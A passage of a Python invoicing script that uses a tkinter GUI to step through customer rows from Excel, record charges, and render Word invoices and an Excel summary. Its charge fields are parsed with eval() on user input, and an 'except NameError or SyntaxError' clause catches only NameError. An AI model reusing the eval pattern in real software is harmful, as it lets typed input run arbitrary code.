------------------------------------------------------------------------------\n# IMPORT and AUGMENT DATA\n\n# column list\ncol_list = ['OWNER', 'DIRECTION', 'FIRST', 'LAST',\n 'STREET_ADDRESS', 'CITY_ADDRESS',\n 'MY_NOTES',\n 'MONTHLY_CHARGE',\n 'EMAIL_ADDRESS', 'EMAIL_IND',\n 'COND_CHARGE', 'FILT_CHARGE',\n 'COND_MONTHS', 'FILT_MONTHS',\n 'SEND_REMINDER', 'RP_INDICATOR',\n 'Z_INDICATOR', 'V_INDICATOR']\n# data type dictionary\ntypes = {'OWNER':str, 'DIRECTION':str, 'FIRST':str, 'LAST':str,\n 'STREET_ADDRESS':str, 'CITY_ADDRESS':str,\n 'MY_NOTES':str,\n 'MONTHLY_CHARGE':float,\n 'EMAIL_ADDRESS':str, 'EMAIL_IND':int,\n 'COND_CHARGE':float, 'FILT_CHARGE':float,\n 'COND_MONTHS':str, 'FILT_MONTHS':str,\n 'SEND_REMINDER':int, 'RP_INDICATOR':int,\n 'Z_INDICATOR':int, 'V_INDICATOR':int}\n\n# read in data\ntabl = pd.read_excel(invoice_data_template,\n usecols= col_list,\n dtype=types,\n skiprows=0)\n# fix email improper reading in of NA string values in emails\ntabl['EMAIL_ADDRESS'] = tabl['EMAIL_ADDRESS'].astype(str) #'NA' is converted to string 'nan'\n# fill in any missing data for string variables\n# fill in with a blank ''\nna_list = ['FIRST', 'LAST', 'STREET_ADDRESS', 'CITY_ADDRESS', 'MY_NOTES']\nfor col in na_list:\n tabl[col].fillna(value='', inplace=True)\n\n# number of rows\nN = tabl.shape[0]\n\n# add new columns\ntabl['ADD_CHARGE'] = np.zeros(N, dtype=float)\ntabl['ADD_CHARGE_NOTES'] = ['']*N\ntabl['ADD_CHARGE_2'] = np.zeros(N, dtype=float)\ntabl['ADD_CHARGE_NOTES_2'] = ['']*N\ntabl['CUST_REMINDER'] = ['']*N\n\n# indicator for whether to include rows or not for the outgoing files\nincluded = np.ones(N, dtype=int)\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n## CREATE DIRECTORY\nprint(\"Creating directories...\")\n\n### month dict: month name -> numerical two digit code\nmonth_dict = {'January':'01', 'February':'02', 'March':'03', 'April':'04',\n 'May':'05', 'June':'06', 'July':'07', 'August':'08',\n 'September':'09', 'October':'10', 'November':'11', 'December':'12'}\nnext_month_dict = {'January':'February', 'February':'March', 'March':'April',\n 'April':'May', 'May':'June', 'June':'July', 'July':'August',\n 'August':'September', 'September':'October', 'October':'November',\n 'November':'December', 'December':'January'}\n\n# make directory\n# example: invoices/2019/2019_09_September\n# this allows invoices to first be sorted by years to avoid eventual clutter, and\n# the to be properly sorted numerically\n# -- e.g. 2019_08_August is on top of 2019_09_September\npath = 'invoices/'+YEAR+'/'+YEAR+'_'+month_dict[MONTH]+'_'+MONTH\ntry:\n os.mkdir(path)\nexcept OSError:\n exit(\"Creation of the directory %s failed\" % path)\n\n##### sub directories\n##### example: invoices/2019/2019_09_September/PP and invoices/2019/2019_09_September/GG\n## pp\nsub_path_pp = path+'/PP'\ntry:\n os.mkdir(sub_path_pp)\nexcept OSError:\n exit(\"Creation of the directory %s failed\" % sub_path_pp)\n## gg\nsub_path_gg = path+'/GG'\ntry:\n os.mkdir(sub_path_gg)\nexcept OSError:\n exit(\"Creation of the directory %s failed\" % sub_path_gg)\n\n##### make \"emails\" directories\n## pp\nemails_path_pp = sub_path_pp+'/emails'\ntry:\n os.mkdir(emails_path_pp)\nexcept OSError:\n exit(\"Creation of the directory %s failed\" % emails_path_pp)\n## gg\nemails_path_gg = sub_path_gg+'/emails'\ntry:\n os.mkdir(emails_path_gg)\nexcept OSError:\n exit(\"Creation of the directory %s failed\" % emails_path_gg)\n\nprint(\"Directories created.\")\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# GLOBAL VARS and CONSTANTS\n\n##### global vars\n# current row\nindex = 0\n# indicator for whether or not the 'back button' is on in the gui\nback_on = False\n# indicator for restoring the main gui format upon going back to the main...\n# ...program from the exit screen gui format\nlast_back = False\n# error string to attach if we receive improper input\nerror_str = ''\n# back string to infrom user we went back a row\nback_str = ''\n# indicator for whether we have finished the main invoicing program\nfinal_end = False\n# dates error indicator\ndates_err_ind = False\n# reminder notice indicator\nremind_ind = False\n##### last row of the gui format\n# main -> 0; month charge -> 1;\n# add charge -> 2; notes add charge -> 3;\n# add charge 2 -> 4; notes add charge 2 -> 5;\n# notes -> 6; cust remind -> 7; check -> 8;\n# button one and button two -> 9\nlast_row = 9\n\n##### constants for tkinter display windows\nfont = 'Times' # font type\nbold_ind = 'bold' # bold indicator\nsize = 18 # font size\ncol1 = '#14bcfe' #color-> blue-ish\ncol2 = '#fe9114' #color -> orange-ish\nnotes_color = 'black' # notes color\nreminder_color = 'purple' ## '#cf2b29';'#e34240'; red-ish\namt_color = 'green' # amount color\nadd_color = '#0a4cbf' # #blue-ish\nadd_color_2 = '#0a98bf' #light blue-sh'\ncust_remind_color = 'red' # cust reminder color\nthick = 2 # highlighted thickness\npad = 6 # amount of padding\nwidth = 1000 # width dim -> of the entire window\nheight = 800 # height dim -> of the entire window\nentry_width = 80 # width dim of the user input sections\non_color = 'red' # color of checked button when on\noff_color = 'grey' # color of checked button when off\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# WINDOW FUNCTIONS\n\n##### center the window upon opening with a given width and height\ndef center_window(base, width=300, height=200):\n # get screen width and height\n screen_width = base.winfo_screenwidth()\n screen_height = base.winfo_screenheight()\n # calculate position x and y coordinates\n x = (screen_width/2) - (width/2)\n y = (screen_height/2) - (height/2)\n base.geometry('%dx%d+%d+%d' % (width, height, x, y))\n return\n\n##### close root i.e. the main program\ndef close_root():\n # global vars\n global root\n global final_end\n\n # destroy root\n root.destroy()\n # set checkpoint\n final_end = True\n return\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# HELPER FUNCTIONS for navigating\n\n# check value of checkbutton\n# - if its clicked, then turn it on to appropriate color\n# - else leave it deafault black color\ndef on_check():\n global var, chk\n if var.get() == 1:\n chk[\"fg\"] = on_color\n else:\n chk[\"fg\"] = off_color\n return\n\n##### function to begin the main program\ndef begin():\n # global vars\n global btn_one, btn_two\n global monthly_charge_lbl, monthly_charge_entry\n global add_charge_lbl, add_charge_entry\n global add_charge_notes_lbl, add_charge_notes_entry\n global add_charge_lbl_2, add_charge_entry_2\n global add_charge_notes_lbl_2, add_charge_notes_entry_2\n global my_notes_lbl, my_notes_entry\n global cust_reminder_lbl, cust_reminder_entry\n global chk\n\n ##### main label\n main_lbl.grid_forget()\n\n ##### first button\n # change text: begin -> next\n # change command\n # if clicked, we move to the next row\n # for proper display, we forget it so that we can place it at the end later\n btn_one.grid_forget()\n btn_one.config(text= 'Next')\n btn_one.config(command= next)\n\n ##### second button\n # change text: close -> back\n # change command\n # if clicked, we move back to the previous row\n # for proper display, we forget it so that place it at the end later\n btn_two.grid_forget()\n btn_two.config(text= 'Back')\n btn_two.config(command= back)\n\n ##### pack the labels and entries\n row_inc = 0\n # main label\n main_lbl.grid(row= row_inc, column= 0, pady= pad, columnspan=2)\n row_inc += 1\n # monthly charge\n monthly_charge_lbl.grid(row= row_inc, column= 0, pady= pad)\n monthly_charge_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # additional charge\n add_charge_lbl.grid(row= row_inc, column= 0, pady= pad)\n add_charge_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # notes on additional charges\n add_charge_notes_lbl.grid(row= row_inc, column= 0, pady= pad)\n add_charge_notes_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # additional charge 2\n add_charge_lbl_2.grid(row= row_inc, column= 0, pady= pad)\n add_charge_entry_2.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # notes on additional charges 2\n add_charge_notes_lbl_2.grid(row= row_inc, column= 0, pady= pad)\n add_charge_notes_entry_2.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # my notes\n my_notes_lbl.grid(row= row_inc, column= 0, pady= pad)\n my_notes_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # customer reminders\n cust_reminder_lbl.grid(row= row_inc, column= 0, pady= pad)\n cust_reminder_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # check button\n chk.grid(row= row_inc, column= 0, pady= pad)\n row_inc += 1\n\n ##### pack back in the next button, but not the back button just yet\n # - turn the back button on at the second row\n btn_one.grid(row= row_inc, column= 0, pady= pad)\n\n ##### update the display\n update()\n return\n\n##### update the gui display\ndef update():\n # global vars\n global index\n global error_str, error_lbl\n global back_on, last_back, back_str\n global btn_one, btn_two\n global var, chk\n global main_lbl\n global monthly_charge_lbl, monthly_charge_entry\n global add_charge_lbl, add_charge_entry\n global add_charge_notes_lbl, add_charge_notes_entry\n global add_charge_lbl_2, add_charge_entry_2\n global add_charge_notes_lbl_2, add_charge_notes_entry_2\n global my_notes_lbl, my_notes_entry\n global cust_reminder_lbl, cust_reminder_entry\n global CURR_DATE, MONTH\n global dates_err_ind, remind_ind\n\n ##### clear the entries\n monthly_charge_entry.delete(0, 'end')\n add_charge_entry.delete(0, 'end')\n add_charge_notes_entry.delete(0, 'end')\n add_charge_entry_2.delete(0, 'end')\n add_charge_notes_entry_2.delete(0, 'end')\n my_notes_entry.delete(0, 'end')\n cust_reminder_entry.delete(0, 'end')\n ##### reset checkbox\n var.set(0) # value -> set it back to zero ie off\n chk[\"fg\"] = off_color # color -> set back to off color, not clicked\n\n ##### error string and label logic\n if error_str != '': # add in the error label and message\n error_lbl.config(text= error_str)\n error_lbl.grid(row= last_row+1, column= 0, pady = 0, columnspan=2)\n else:\n # remove the error lbl if present before\n # if error was not present before, this does nothing\n error_lbl.grid_forget()\n\n ##### back button logic\n # --------------------------------------------------------------------------\n # add the 'back button' if index > 0; we don't want a back button for the\n # first row becuase there is nothing to go back to; close the window to quit\n if index == 1 and back_on == False:\n # pack the back button\n btn_two.grid(row= last_row, column= 1, padx= pad)\n # update conditional that the 'back button' is on\n back_on = True\n # --------------------------------------------------------------------------\n # remove back button if on index=0 i.e. we got back to the first row and\n # need to remove the back button because there is nothing to go back to\n if index == 0 and back_on == True:\n btn_two.grid_forget() # remove button\n back_on = False # update conditional\n # --------------------------------------------------------------------------\n # going back from the exit - last - screen\n if last_back == True:\n # we want to restore the main gui format\n # -- i.e. the labels and entries followed by the buttons\n\n ##### forget the buttons\n btn_one.grid_forget()\n btn_two.grid_forget()\n\n ##### bring back the labels and entries\n # increment row bc we do not forget the main label\n row_inc = 1\n # monthly charge\n monthly_charge_lbl.grid(row= row_inc, column= 0, pady= pad)\n monthly_charge_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # additional charge\n add_charge_lbl.grid(row= row_inc, column= 0, pady= pad)\n add_charge_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # additional charge notes\n add_charge_notes_lbl.grid(row= row_inc, column= 0, pady= pad)\n add_charge_notes_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # additional charge 2\n add_charge_lbl_2.grid(row= row_inc, column= 0, pady= pad)\n add_charge_entry_2.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # additional charge notes 2\n add_charge_notes_lbl_2.grid(row= row_inc, column= 0, pady= pad)\n add_charge_notes_entry_2.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # my notes\n my_notes_lbl.grid(row= row_inc, column= 0, pady= pad)\n my_notes_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # customer reminders\n cust_reminder_lbl.grid(row= row_inc, column= 0, pady= pad)\n cust_reminder_entry.grid(row= row_inc, column= 1, padx= pad)\n row_inc += 1\n # check button\n chk.grid(row= row_inc, column= 0, pady= pad)\n row_inc += 1\n\n ##### bring back the buttons\n btn_one.grid(row= row_inc, column= 0, pady= pad)\n btn_two.grid(row= row_inc, column= 1, padx= pad)\n # reconfig the first button i.e. the begin button at start, close at end\n btn_one.config(text= 'Next') # update text\n btn_one.config(command= next) # update command\n\n ###### update last_back conditional i.e. if we press the back button\n # we are no longer on the end screen, coming back from the exit screen\n last_back = False\n ##### END ----------------------------------------------- back button logic\n\n ##### update logic\n # check if we can update\n # if no more rows left, end\n # if we can update, replace entries with appropriate text\n if index > N-1:\n end() # end screen logic\n else:\n # grab current line\n curr_line = dict(tabl.iloc[index])\n\n ##### input entries\n ## main label text\n text = ''\n # inform user that we've come back to this row\n if back_str != '':\n text += back_str\n # revert back string\n back_str = ''\n # main info\n text += curr_line['FIRST']+' '+ curr_line['LAST'] + '\\n\\n' + \\\n curr_line['STREET_ADDRESS'] + '\\n' + \\\n curr_line['CITY_ADDRESS']\n\n ### ADD TEXT - conditional\n ## cond\n if curr_line['COND_MONTHS'] != 'exclude':\n pot_cond_months = set(\"\".join(curr_line['COND_MONTHS'].split(',')).split())\n ## - proper months\n if len(pot_cond_months - month_set) == 0:\n # check if current month is in potential cond... months\n if MONTH in pot_cond_months:\n remind_ind = True\n text += '\\n\\n' + \\\n \"Remember, it's time for cond....\" + \\\n ' - $' + str(curr_line['COND_CHARGE'])\n\n # check if next month is in potential cond... months\n if (curr_line['SEND_REMINDER'] == 1) and (next_month_dict[MONTH] in pot_cond_months):\n remind_ind = True\n text += '\\n\\n' + \\\n \"Next month time for cond... send reminder this month.\"\n ## - improper months\n else:\n dates_err_ind = True\n text += '\\n\\n' + \"Error, improper cond... month\"\n ## filt\n if curr_line['FILT_MONTHS'] != 'exclude':\n pot_filt_months = set(\"\".join(curr_line['FILT_MONTHS'].split(',')).split())\n ## - proper months\n if len(pot_filt_months - month_set) == 0:\n # check if current month is in potential filt... months\n if MONTH in pot_filt_months:\n remind_ind = True\n text += '\\n\\n' + \\\n \"Remember, it's time for filt....\" + \\\n ' - $' + str(curr_line['FILT_CHARGE'])\n\n # check if next month is in potential cond... months\n if (curr_line['SEND_REMINDER'] == 1) and (next_month_dict[MONTH] in pot_filt_months):\n remind_ind = True\n text += '\\n\\n' + \\\n \"Next month time for filt... send reminder this month.\"\n ## - improper months\n else:\n dates_err_ind = True\n text += '\\n\\n' + \"Error, improper filt... month\"\n\n ##### update the main label\n # color\n if dates_err_ind == True: # first indicator, red if any error\n main_lbl.config(fg= 'red')\n elif remind_ind == True: # if no error, then can set reminder\n main_lbl.config(fg= reminder_color)\n else: # revert to default, black color\n main_lbl.config(fg= 'black')\n # text\n main_lbl.config(text=text)\n ##### revert indicators\n dates_err_ind = False\n remind_ind = False\n\n ##### update entries\n ## monthly charge entry\n monthly_charge_entry.insert(0, curr_line['MONTHLY_CHARGE'])\n ## my notes\n my_notes_entry.insert(0, curr_line['MY_NOTES'])\n\n return\n\n##### ending the program\ndef end():\n # global vars\n global main_lbl\n global btn_one\n global monthly_charge_lbl, monthly_charge_entry\n global add_charge_lbl, add_charge_entry\n global add_charge_notes_lbl, add_charge_notes_entry\n global add_charge_lbl_2, add_charge_entry_2\n global add_charge_notes_lbl_2, add_charge_notes_entry_2\n global my_notes_lbl, my_notes_entry\n global cust_reminder_lbl, cust_reminder_entry\n global chk\n global last_back\n\n ##### updating labels and buttons\n ## update the text in the main label and its color\n main_lbl.config(text= \"You're done.\")\n main_lbl.config(fg= 'black')\n\n ## update button one - originally the begin button then the next button\n btn_one.config(text= 'Close') # update the text of the button\n btn_one.config(command= close_root) # update the button's command\n # no need to change affect of the back button\n\n ##### forget the other labels and entries\n # monthly charge\n monthly_charge_lbl.grid_forget()\n monthly_charge_entry.grid_forget()\n # additonal charge\n add_charge_lbl.grid_forget()\n add_charge_entry.grid_forget()\n # additional charge notes\n add_charge_notes_lbl.grid_forget()\n add_charge_notes_entry.grid_forget()\n # additonal charge 2\n add_charge_lbl_2.grid_forget()\n add_charge_entry_2.grid_forget()\n # additional charge notes 2\n add_charge_notes_lbl_2.grid_forget()\n add_charge_notes_entry_2.grid_forget()\n # my notes\n my_notes_lbl.grid_forget()\n my_notes_entry.grid_forget()\n # customer reminder\n cust_reminder_lbl.grid_forget()\n cust_reminder_entry.grid_forget()\n # check button\n chk.grid_forget()\n\n # going back from the end\n last_back = True # update the indicator to restore main gui format\n return\n\n##### next - go to the next row\ndef next():\n # global vars\n global index, error_str, var\n global monthly_charge_entry\n global add_charge_entry, add_charge_notes_entry\n global add_charge_entry_2, add_charge_notes_entry_2\n global my_notes_entry, cust_reminder_entry\n\n # grab and try reading in input\n try:\n # monthly charge input\n monthly_in_amt_str = monthly_charge_entry.get().strip()\n if monthly_in_amt_str == '':\n monthly_in_amt_str = '0'\n monthly_in_amt = float(eval(monthly_in_amt_str))\n # additional charge input\n add_in_amt_str = add_charge_entry.get().strip()\n if add_in_amt_str == '':\n add_in_amt_str = '0'\n add_in_amt = float(eval(add_in_amt_str))\n # additional charge notes input\n in_add_charge_notes = str(add_charge_notes_entry.get().strip())\n\n # additional charge input 2\n add_in_amt_str_2 = add_charge_entry_2.get().strip()\n if add_in_amt_str_2 == '':\n add_in_amt_str_2 = '0'\n add_in_amt_2 = float(eval(add_in_amt_str_2))\n # additional charge notes input 2\n in_add_charge_notes_2 = str(add_charge_notes_entry_2.get().strip())\n\n # my_notes\n in_my_notes = str(my_notes_entry.get().strip())\n # cust_reminder\n in_cust_reminder = str(cust_reminder_entry.get().strip())\n\n # update data\n tabl.at[index, 'MONTHLY_CHARGE'] = monthly_in_amt\n tabl.at[index, 'ADD_CHARGE'] = add_in_amt\n tabl.at[index, 'ADD_CHARGE_NOTES'] = in_add_charge_notes\n tabl.at[index, 'ADD_CHARGE_2'] = add_in_amt_2\n tabl.at[index, 'ADD_CHARGE_NOTES_2'] = in_add_charge_notes_2\n tabl.at[index, 'MY_NOTES'] = in_my_notes\n tabl.at[index, 'CUST_REMINDER'] = in_cust_reminder\n\n ##### checkbox - included update\n if var.get() == 1:\n included[index] = 0\n\n ##### clear the error string\n # ie we have not run into an error at this point\n error_str = ''\n\n ##### update index -- bc we have no error\n index += 1\n\n # reached an error\n except NameError or SyntaxError:\n # we have an error, so update error string\n # and do not move forward with index\n error_str = '\\n\\n' + \\\n 'Previous error. Make sure amounts are valid real numbers.'\n\n ##### update\n # -- if we had no error, we update to the next row\n # -- if we had an error, we re-update the current row with an error message\n update()\n return\n\n##### next - go to the next row\ndef back():\n # global vars\n global index, back_str, error_str\n\n # revert index\n index -= 1\n\n # make sure we revert the included ariable indicator just in case\n included[index] = 1\n\n # update back string\n back_str = '- WENT BACK - \\n\\n'\n\n # update error string - in case we were at an error\n error_str = ''\n\n # we went back, so now update the main gui display\n update()\n return\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# SET-UP the gui\n\n##### root for gui\nroot = tk.Tk()\nroot.title('Invoice: '+MONTH+' '+YEAR)\n#root.configure(background='grey')\n\n##### center the window\ncenter_window(root, width, height)\n\n###### main label where we will show input\nmain_lbl = tk.Label(root, text= 'Click to begin.')\nmain_lbl.config(font= (font, size, bold_ind))\nmain_lbl.config(fg= 'black')\n\nmain_lbl.grid(row=0, column=0, pady=pad, columnspan=2)\n\n##### error label\nerror_lbl = tk.Label(root, text= error_str)\nerror_lbl.config(font= (font, size, bold_ind))\nerror_lbl.config(fg= 'red')\n\n##### the button to begin -> next -> end program\nbtn_one = tk.Button(root, text= 'Begin', command= begin,\n highlightbackground= col1,\n highlightthickness= thick)\nbtn_one.config(font= (font, size, bold_ind))\nbtn_one.grid(row=1, column=0, pady=pad)\n\n##### the button to close -> back\nbtn_two = tk.Button(root, text= 'Close', command= close_root,\n highlightbackground= col2,\n highlightthickness= thick)\nbtn_two.config(font= (font, size, bold_ind))\nbtn_two.grid(row=1, column=1, pady=pad)\n\n##### monthly charge\n## label\nmonthly_charge_lbl = tk.Label(root, text= 'Monthly Charge:')\nmonthly_charge_lbl.config(font= (font, size, bold_ind))\nmonthly_charge_lbl.config(fg= amt_color)\n## entry\nmonthly_charge_entry = tk.Entry(root, width= entry_width)\nmonthly_charge_entry.config(font= (font, size))\n\n##### additional charge\n## label\nadd_charge_lbl = tk.Label(root, text= 'Additional Charge:')\nadd_charge_lbl.config(font= (font, size, bold_ind))\nadd_charge_lbl.config(fg= add_color)\n## entry\nadd_charge_entry = tk.Entry(root, width= entry_width)\nadd_charge_entry.config(font= (font, size))\n\n##### additional charge notes\n## label\nadd_charge_notes_lbl = tk.Label(root, text= 'Notes on additional charge:')\nadd_charge_notes_lbl.config(font= (font, size, bold_ind))\nadd_charge_notes_lbl.config(fg= add_color_2)\n## entry\nadd_charge_notes_entry = tk.Entry(root, width= entry_width)\nadd_charge_notes_entry.config(font= (font, size))\n\n##### additional charge 2\n## label\nadd_charge_lbl_2 = tk.Label(root, text= 'Additional Charge 2:')\nadd_charge_lbl_2.config(font= (font, size, bold_ind))\nadd_charge_lbl_2.config(fg= add_color)\n## entry\nadd_charge_entry_2 = tk.Entry(root, width= entry_width)\nadd_charge_entry_2.config(font= (font, size))\n\n##### additional charge notes\n## label\nadd_charge_notes_lbl_2 = tk.Label(root, text= 'Notes on additional charge 2:')\nadd_charge_notes_lbl_2.config(font= (font, size, bold_ind))\nadd_charge_notes_lbl_2.config(fg= add_color_2)\n## entry\nadd_charge_notes_entry_2 = tk.Entry(root, width= entry_width)\nadd_charge_notes_entry_2.config(font= (font, size))\n\n##### my notes\n## label\nmy_notes_lbl = tk.Label(root, text= 'My notes:')\nmy_notes_lbl.config(font= (font, size, bold_ind))\nmy_notes_lbl.config(fg= notes_color)\n## entry\nmy_notes_entry = tk.Entry(root, width= entry_width)\nmy_notes_entry.config(font= (font, size))\n\n##### reminders\n## label\ncust_reminder_lbl = tk.Label(root, text= 'Set Customer Reminder:')\ncust_reminder_lbl.config(font= (font, size, bold_ind))\ncust_reminder_lbl.config(fg= cust_remind_color)\n## entry\ncust_reminder_entry = tk.Entry(root, width= entry_width)\ncust_reminder_entry.config(font= (font, size))\n\n##### include check button\nvar = tk.IntVar()\nchk = tk.Checkbutton(root, text='Do Not Include?', variable=var,\n selectcolor= 'blue', command= on_check, fg= off_color)\nchk.config(font= (font, size, bold_ind))\n# var.get()\n\n##### main loop\nroot.mainloop()\n\n# check if we completed the main program all the way through or not\n# - if we did not, then exit with an error\nif final_end == False:\n exit('Failed to complete full program.')\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# INITIALIZE DOC WRITING\n\n# ADD DATA i.e. total column, and current date for output doc\n# create total column\ntabl['TOTAL'] = tabl['MONTHLY_CHARGE'] + tabl['ADD_CHARGE'] + tabl['ADD_CHARGE_2']\n# add included\ntabl['INCLUDED'] = included\n\n# current date\nDATE = datetime.datetime.today().strftime('%B %d, %Y')\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# HELPER FUNCTION to grab appropriate data\n\n# grab a row from the table and process it for data to place in doc\ndef grab_data(row):\n # global data\n global data\n\n # convert to dict\n data = dict(tabl.iloc[row])\n # add dates\n data['DATE'] = DATE\n data['MONTH'] = MONTH\n data['YEAR'] = YEAR\n # if no additional charge then show nothing, else format float\n if data['ADD_CHARGE'] == 0:\n data['ADD_CHARGE'] = ''\n else:\n data['ADD_CHARGE'] = '${:,.2f}'.format(data['ADD_CHARGE'])\n\n # if no additional charge then show nothing, else format float\n if data['ADD_CHARGE_2'] == 0:\n data['ADD_CHARGE_2'] = ''\n else:\n data['ADD_CHARGE_2'] = '${:,.2f}'.format(data['ADD_CHARGE_2'])\n\n # format floats\n data['MONTHLY_CHARGE'] = '${:,.2f}'.format(data['MONTHLY_CHARGE'])\n data['TOTAL'] = '${:,.2f}'.format(data['TOTAL'])\n return\n\n##### set data originally to hold nothining\ndata = None\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\nprint(\"Writing files....\")\n\n### first files\ndoc_pp = DocxTemplate(fpage)\ndoc_gg = DocxTemplate(fpage)\ninvoice_doc_path_pp = sub_path_pp+'/pp_invoice_'+MONTH+'_'+YEAR+'.docx'\ninvoice_doc_path_gg = sub_path_gg+'/gg_invoice_'+MONTH+'_'+YEAR+'.docx'\ndoc_pp.save(invoice_doc_path_pp)\ndoc_gg.save(invoice_doc_path_gg)\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# CONCATENATE DOC through loop\n\n##### 'rp' indicator and values --- specific use\nrp_inc = 0 # increment\nrp_ind = False # rp process completion indicator\nrp_months = []\nrp_adds = []\nrp_notes = []\nrp_adds_2 = []\nrp_notes_2 = []\n#####\n\n# loop\nfor i in range(N):\n # progress print\n print(i)\n\n # do not include the current row\n if included[i] == 0:\n continue # skip it\n\n ##### create temp doc\n\n # grab data and process it\n grab_data(i)\n\n ### temp doc\n # rp conditionals\n if tabl['RP_INDICATOR'][i] == 1:\n # increment\n rp_inc += 1\n # have we seen three?\n if rp_inc == 3:\n # first append\n rp_months.append(data['MONTHLY_CHARGE'])\n rp_adds.append(data['ADD_CHARGE'])\n rp_notes.append(data['ADD_CHARGE_NOTES'])\n rp_adds_2.append(data['ADD_CHARGE_2'])\n rp_notes_2.append(data['ADD_CHARGE_NOTES_2'])\n ### new data\n rm = data['CUST_REMINDER'] # cust reminder\n # save data for processing\n data = {}\n data['DATE'] = DATE\n data['MONTH'] = MONTH\n data['YEAR'] = YEAR\n data['M1'] = rp_months[0]\n data['M2'] = rp_months[1]\n data['M3'] = rp_months[2]\n data['A1'] = rp_adds[0]\n data['A2'] = rp_adds[1]\n data['A3'] = rp_adds[2]\n data['A1_NOTES'] = rp_notes[0]\n data['A2_NOTES'] = rp_notes[1]\n data['A3_NOTES'] = rp_notes[2]\n data['A1_2'] = rp_adds_2[0]\n data['A2_2'] = rp_adds_2[1]\n data['A3_2'] = rp_adds_2[2]\n data['A1_NOTES_2'] = rp_notes_2[0]\n data['A2_NOTES_2'] = rp_notes_2[1]\n data['A3_NOTES_2'] = rp_notes_2[2]\n data['CUST_REMINDER'] = rm\n ### loop for total sum\n total_sum = 0\n # month charge\n for ele in rp_months:\n if ele != '':\n total_sum += float(ele.strip('$'))\n # add charge\n for ele in rp_adds:\n if ele != '':\n total_sum += float(ele.strip('$'))\n # add charge 2\n for ele in rp_adds_2:\n if ele != '':\n total_sum += float(ele.strip('$'))\n data['TOTAL'] = '${:,.2f}'.format(total_sum)\n rp_ind = True # finished the 'rp' process, note it\n else:\n # nothing to do yet but to append the data\n rp_months.append(data['MONTHLY_CHARGE'])\n rp_adds.append(data['ADD_CHARGE'])\n rp_notes.append(data['ADD_CHARGE_NOTES'])\n rp_adds_2.append(data['ADD_CHARGE_2'])\n rp_notes_2.append(data['ADD_CHARGE_NOTES_2'])\n continue\n\n ### temp doc\n if rp_ind: # rp stuff\n temp = DocxTemplate(invoice_template_mult)\n rp_ind = False # revert rp process completion indicator for next round\n elif tabl['Z_INDICATOR'][i] == 1: # Z stuff\n if tabl['DIRECTION'][i].strip() == 'PP':\n temp = DocxTemplate(invoice_template_z)\n else:\n temp = DocxTemplate(invoice_template_z_gg)\n elif tabl['V_INDICATOR'][i] == 1: # v stuff\n temp = DocxTemplate(invoice_template_v)\n else: # default\n temp = DocxTemplate(invoice_template)\n # render the doc\n temp.render(data)\n\n # if no email indicator, merge to paper invoice\n if tabl['EMAIL_IND'][i] == 0:\n ### merge docs\n # check for DIRECTION\n if tabl['DIRECTION'][i].strip() == 'PP':\n # path\n doc_path = invoice_doc_path_pp\n else:\n # path\n doc_path = invoice_doc_path_gg\n # load master doc\n doc = Document(doc_path)\n # add page break\n doc.add_page_break()\n # compose it\n composer = Composer(doc)\n # merge it with the temp doc\n composer.append(temp)\n\n # save the final output\n composer.save(doc_path)\n else:\n # check for DIRECTION\n if tabl['DIRECTION'][i].strip() == 'PP':\n # path\n temp_emails_path = emails_path_pp+'/'+tabl['EMAIL_ADDRESS'][i].strip()\n else:\n # path\n temp_emails_path = emails_path_gg+'/'+tabl['EMAIL_ADDRESS'][i].strip()\n # make directory\n os.mkdir(temp_emails_path)\n # temp email paths word doc file name\n temp_emails_path_doc = temp_emails_path+'/invoice_'+MONTH+'_'\n temp_emails_path_doc += '_'.join(tabl['FIRST'][i].strip().lower().split())\n temp_emails_path_doc += '_'\n temp_emails_path_doc += tabl['LAST'][i].strip().lower()\n temp_emails_path_doc += '.docx'\n # save doc\n temp.save(temp_emails_path_doc)\n\nprint(\"Files written.\")\n\n# ------------------------------------------------------------------------------\n# ------------------------------------------------------------------------------\n# CREATE EXCEL SHEET for output\n# order output table\ntabl['AMT_PAID'] = [0]*N\ntabl['AMT_LEFT'] = ['']*N\ntabl['RECORD'] = [':::::']*N\ntabl['REC_DATE'] = [':::::']*N\ntabl['OBT_DATE'] = [':::::']*N\ntabl['PAY_NOTES'] = [':::::']*N\ntabl['CLR_DATE'] = [':::::']*N\ntabl = tabl[['DIRECTION','FIRST','LAST','TOTAL',\n 'AMT_PAID', 'AMT_LEFT','RECORD', 'REC_DATE', 'OBT_DATE', 'PAY_NOTES', 'CLR_DATE',\n 'STREET_ADDRESS','CITY_ADDRESS','MY_NOTES','MONTHLY_CHARGE',\n 'ADD_CHARGE','ADD_CHARGE_NOTES','ADD_CHARGE_2','ADD_CHARGE_NOTES_2',\n 'CUST_REMINDER','INCLUDED']]\n\n# letters\nletters = ['A','B','C','D','E','F','G','H','I','J','K','L','M',\n 'N','O','P','Q','R','S','T','U','V','W','X','Y','Z']\nlet_index = 0\n\n# taken from:\n# https://xlsxwriter.readthedocs.io/example_pandas_column_formats.html\n# Create a Pandas Excel writer using XlsxWriter as the engine\ninvoice_data = path+'/data_'+MONTH+'_'+YEAR+'.xlsx' # file path\nwriter = pd.ExcelWriter(invoice_data, engine='xlsxwriter')\n# Convert the dataframe to an 